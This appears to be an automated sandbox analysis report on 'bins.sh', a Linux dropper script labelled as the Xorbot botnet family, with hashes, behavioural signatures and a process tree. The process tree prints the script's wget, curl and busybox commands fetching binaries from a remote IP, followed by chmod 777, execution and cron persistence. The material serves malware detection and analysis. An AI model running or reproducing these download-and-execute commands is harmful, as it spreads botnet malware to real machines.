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Analysis
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max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
01/03/2025, 10:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
fcba5a159c1d4a387e0b6d819ab82b13
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SHA1
aa69a7ab7c5829823641342bec0e3ad9f6fed0eb
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SHA256
4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173
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SHA512
87a1081d1536779e44642d1951eca3e1ff3ba1fc4a333b5442c12b6fdb02b0bfff290503e160f6b95e20be6f7e007cbc9b331c7cf6ed0670cdb147c2f54b7d94
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SSDEEP
192:SKmamvfi3B3F3x3+3e3c04kJpga5k5M5uFpY9Hvva22jXv73Q1MA+L3LTLzm+3Hy:SKmamvfi3B3F3x3+3e3c04kJpgamCJ9R
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot -
Xorbot family
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Contacts a large (1798) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1498 chmod 1505 chmod 1512 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G 1499 bins.sh /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv 1506 bins.sh /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E 1513 bins.sh -
Renames itself 1 IoCs
pid Process 1514 bins.sh -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.x5vAMB crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1661/cmdline bins.sh File opened for reading /proc/1739/cmdline bins.sh File opened for reading /proc/10/cmdline bins.sh File opened for reading /proc/29/cmdline bins.sh File opened for reading /proc/1174/cmdline bins.sh File opened for reading /proc/1571/cmdline bins.sh File opened for reading /proc/1607/cmdline bins.sh File opened for reading /proc/1690/cmdline bins.sh File opened for reading /proc/18/cmdline bins.sh File opened for reading /proc/26/cmdline bins.sh File opened for reading /proc/154/cmdline bins.sh File opened for reading /proc/156/cmdline bins.sh File opened for reading /proc/1720/cmdline bins.sh File opened for reading /proc/22/cmdline bins.sh File opened for reading /proc/1121/cmdline bins.sh File opened for reading /proc/157/cmdline bins.sh File opened for reading /proc/1606/cmdline bins.sh File opened for reading /proc/1631/cmdline bins.sh File opened for reading /proc/1666/cmdline bins.sh File opened for reading /proc/1726/cmdline bins.sh File opened for reading /proc/1734/cmdline bins.sh File opened for reading /proc/12/cmdline bins.sh File opened for reading /proc/460/cmdline bins.sh File opened for reading /proc/516/cmdline bins.sh File opened for reading /proc/1117/cmdline bins.sh File opened for reading /proc/1530/cmdline bins.sh File opened for reading /proc/1716/cmdline bins.sh File opened for reading /proc/1723/cmdline bins.sh File opened for reading /proc/30/cmdline bins.sh File opened for reading /proc/168/cmdline bins.sh File opened for reading /proc/249/cmdline bins.sh File opened for reading /proc/1140/cmdline bins.sh File opened for reading /proc/1145/cmdline bins.sh File opened for reading /proc/1563/cmdline bins.sh File opened for reading /proc/1579/cmdline bins.sh File opened for reading /proc/1610/cmdline bins.sh File opened for reading /proc/6/cmdline bins.sh File opened for reading /proc/404/cmdline bins.sh File opened for reading /proc/1080/cmdline bins.sh File opened for reading /proc/1531/cmdline bins.sh File opened for reading /proc/1543/cmdline bins.sh File opened for reading /proc/1557/cmdline bins.sh File opened for reading /proc/1570/cmdline bins.sh File opened for reading /proc/1575/cmdline bins.sh File opened for reading /proc/1164/cmdline bins.sh File opened for reading /proc/1555/cmdline bins.sh File opened for reading /proc/1559/cmdline bins.sh File opened for reading /proc/1562/cmdline bins.sh File opened for reading /proc/1600/cmdline bins.sh File opened for reading /proc/1617/cmdline bins.sh File opened for reading /proc/1620/cmdline bins.sh File opened for reading /proc/1621/cmdline bins.sh File opened for reading /proc/1598/cmdline bins.sh File opened for reading /proc/1623/cmdline bins.sh File opened for reading /proc/1632/cmdline bins.sh File opened for reading /proc/1712/cmdline bins.sh File opened for reading /proc/1730/cmdline bins.sh File opened for reading /proc/620/cmdline bins.sh File opened for reading /proc/1159/cmdline bins.sh File opened for reading /proc/1622/cmdline bins.sh File opened for reading /proc/1643/cmdline bins.sh File opened for reading /proc/1662/cmdline bins.sh File opened for reading /proc/1735/cmdline bins.sh File opened for reading /proc/34/cmdline bins.sh -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G curl File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G busybox File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv wget File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv curl File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E curl File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G wget File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv busybox File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E wget File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1472 -
/bin/rm/bin/rm bins.sh2⤵PID:1473
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/usr/bin/wgetwget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
PID:1474
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/usr/bin/curlcurl -O http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
PID:1496
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
PID:1497
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
PID:1498
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:1499
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:1501
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/usr/bin/wgetwget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
PID:1502
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/usr/bin/curlcurl -O http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
PID:1503
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
PID:1504
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
PID:1505
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:1506
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:1508
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/usr/bin/wgetwget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
PID:1509
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/usr/bin/curlcurl -O http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
PID:1510
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/bin/busybox/bin/busybox wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
PID:1511
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
PID:1512
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/usr/bin/crontabcrontab -l2⤵PID:1516
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1518
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:1520
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/usr/bin/wgetwget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵PID:1523
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
210B
MD5b0c90b076991325439b505ba48933cf9
SHA1f30da7230dda25323a39c0984cde1ec7725222aa
SHA25629d27ad70da5cfa8049747eb15d7b54332b0d105b4714c354e8d3ef188e57e86
SHA512f989b9c69496f39405d3eaf27a3f998b9cae85d4cd84259ed39c2a009e6691ec664dc5327bcd44a35adc5bdbf2382d9a1ed1fb83585da3393078114d3aa7d31b